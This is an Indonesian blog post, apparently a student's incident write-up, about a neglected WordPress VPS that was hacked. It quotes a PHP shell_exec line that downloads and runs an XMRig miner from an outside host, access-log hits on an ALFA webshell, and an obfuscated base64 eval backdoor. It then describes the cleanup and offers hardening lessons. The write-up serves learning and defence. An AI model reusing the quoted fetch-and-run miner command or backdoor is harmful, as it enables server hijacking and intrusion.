Server Kena Retas karena Ninggalin Instalasi WordPress yang Belum Rampung
Disclaimer: Konten artikel ini adalah dokumentasi pengalaman pribadi sebagai pembelajaran. VPS yang diretas bukanlah untuk production alias hanya untuk eksperimen saja. IP address dan domain sensitif dalam log telah disensor untuk keamanan. Jangan tiru kebiasaan buruk "deploy lalu tinggal" tanpa pengamanan yang cukup.
Pernah nggak sih kalian semangat banget deploy VPS baru, install web server (OpenLiteSpeed/Nginx), pasang WordPress, rasanya udah feel like a pro, terus karena sibuk (atau males), servernya ditinggal gitu aja tanpa hardening?
Nah, itu kejadian di saya baru-baru ini. Niat hati ingin ngulik server lagi, realitanya malah jadi "rumah singgah" buat hacker. Pas saya balik lagi buat ngecek server setelah beberapa hari ditelantarkan, kok rasanya ada yang aneh. CPU usage tinggi, dan ada file-file asing.
Setelah saya deep dive ke dalam server, ternyata WordPress saya sudah kena defaced, dipasangi crypto miner, dan ditanam backdoor.
Berikut adalah sedikit oleh-oleh bedah kasus dari log server saya yang sudah "dinodai".
1. Tamu Tak Diundang: XMRig Miner
Hal pertama yang bikin curiga biasanya performa server yang drop. Ternyata, ada script yang mencoba mengunduh dan menjalankan xmrig-proxy. Buat yang belum tau, ini adalah tool untuk nambang kripto (biasanya Monero). Hacker-nya nggak mau modal server sendiri, jadi numpang listrik dan resource di server saya.
Lihat log ini, mereka mencoba download miner lewat curl dan menyembunyikannya di folder plugin dengan nama acak:
# Log percobaan download miner yang terekam
/usr/local/lsws/wordpress/wp-content/plugins/6nE0JbmOfnuhTwm6zPVJf7/src/ui/column.php
echo shell_exec('curl -o xmrig-proxy [https://wpserver.xxxxxxxxx.com.br/wp-content/plugins/ueuu9KA9ouNF7nKj8WE8zJ/src/ui/wala/xmrig;chmod](https://wpserver.xxxxxxxxx.com.br/wp-content/plugins/ueuu9KA9ouNF7nKj8WE8zJ/src/ui/wala/xmrig;chmod) 777 xmrig-proxy;./xmrig-proxy -a randomx --url fr-tarirx.luckypool.io:9118 --user 121y156mGyjrUYEZK6ZaxQYAtvLbUQamzr9LoLRiXaemPyECUrjzS6TnMTxSbdku59UCFrkPPXdm7VTt6xkTeAJ1M3.cgi --threads=N');
2. Pesta di ALFA Shell
Nggak cuma nambang, mereka juga nanem "pintu belakang" alias backdoor. Dari log akses (access.log), terlihat traffic yang masif ke file bernama alf.php. Buat yang sering ngulik security pasti tahu, ini biasanya ALFA Shell, sebuah webshell yang cukup populer (dan berbahaya) yang dipakai hacker untuk mengontrol server korbannya lewat browser.
# Access log yang ramai banget request ke file backdoor
/usr/local/lsws/logs/access.log:["wordpress"] 103.148.xx.xxx - - [17/Nov/2025:07:18:14 +0000] "POST /wp-content/plugins/6nE0JbmOfnuhTwm6zPVJf7/src/ui/alf.php HTTP/1.1" 200 5208 "[http://20.244.xx.xxx/wp-content/plugins/6nE0JbmOfnuhTwm6zPVJf7/src/ui/alf.php](http://20.244.xx.xxx/wp-content/plugins/6nE0JbmOfnuhTwm6zPVJf7/src/ui/alf.php)" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0)..."
Psst.. kalo dari IP-nya sih keliatan dari Indonesia, tapi bisa aja itu cuma proxy atau VPN. Soalnya, IPnya tuh udah di flag abusive di database publik.
Isi filenya? Tentu saja kode PHP yang di-obfuscate (disamarkan) pakai base64 biar nggak gampang dibaca manusia (atau admin yang lagi panik).
/* Isi file lock360.php yang mencurigakan */
A9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7... (dan seterusnya sepanjang jalan kenan<?php eval(base64_decode("ZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CiRpbSgan)"));
3. Bersih-bersih & Ambil Alih Kembali
Setelah sadar server jadi sarang nyamuk, langkah pertama adalah mematikan akses mereka. Saya hapus folder plugin berbahaya yang namanya acak itu (6nE0JbmOfnuh...).
# Cek folder plugin, ada nama aneh
root@hudadev:/usr/local/lsws/wordpress/wp-content/plugins# ls 6*
admin-functions.php common-functions.php css ... (isi folder malware)
# Hapus paksa
root@hudadev:/usr/local/lsws/wordpress/wp-content/plugins# rm -rf 6*
Terakhir, karena akses admin WordPress juga sudah diacak-acak (email diganti, password diganti), saya harus reset password dan email admin langsung lewat database MariaDB biar bisa login lagi ke dashboard.
MariaDB [(none)]> use olsdbname;
MariaDB [olsdbname]> UPDATE wp_users SET user_email='[email protected]' WHERE ID=1;
MariaDB [olsdbname]> UPDATE wp_users SET user_pass=MD5('password_baru_yang_susah_banget') WHERE ID=1;
Pelajaran yang Bisa Diambil
- Jangan biarkan default: Kalau habis deploy, segerakan secure installation. Ganti port default, pasang firewall.
- Monitoring itu penting: Jangan ditinggal berhari-hari tanpa ditengok log-nya.
- Strong Passwords & 2FA: Wajib hukumnya untuk user admin.
- File Permissions: Pastikan permission folder dan file WordPress tidak terlalu longgar (jangan 777!).
Jangan merasa aman, walau ini hanya server kecil. Hacker itu kreatif, dan mereka selalu mencari celah, sekecil apapun itu. Jadi, rajin-rajinlah ngecek server kalian, jangan sampai kejadian kayak gini terulang lagi!

About Muhammad Khuirul Huda
Muhammad Khuirul Huda is an Informatics Engineering student at Universitas Negeri Semarang.
Comments
Do you have a problem, want to share feedback, or discuss further ideas? Feel free to leave a comment here! Please stick to English. This comment thread directly maps to a discussion on GitHub, so you can also comment there if you prefer.
Instead of authenticating the giscus application, you can also comment directly on GitHub.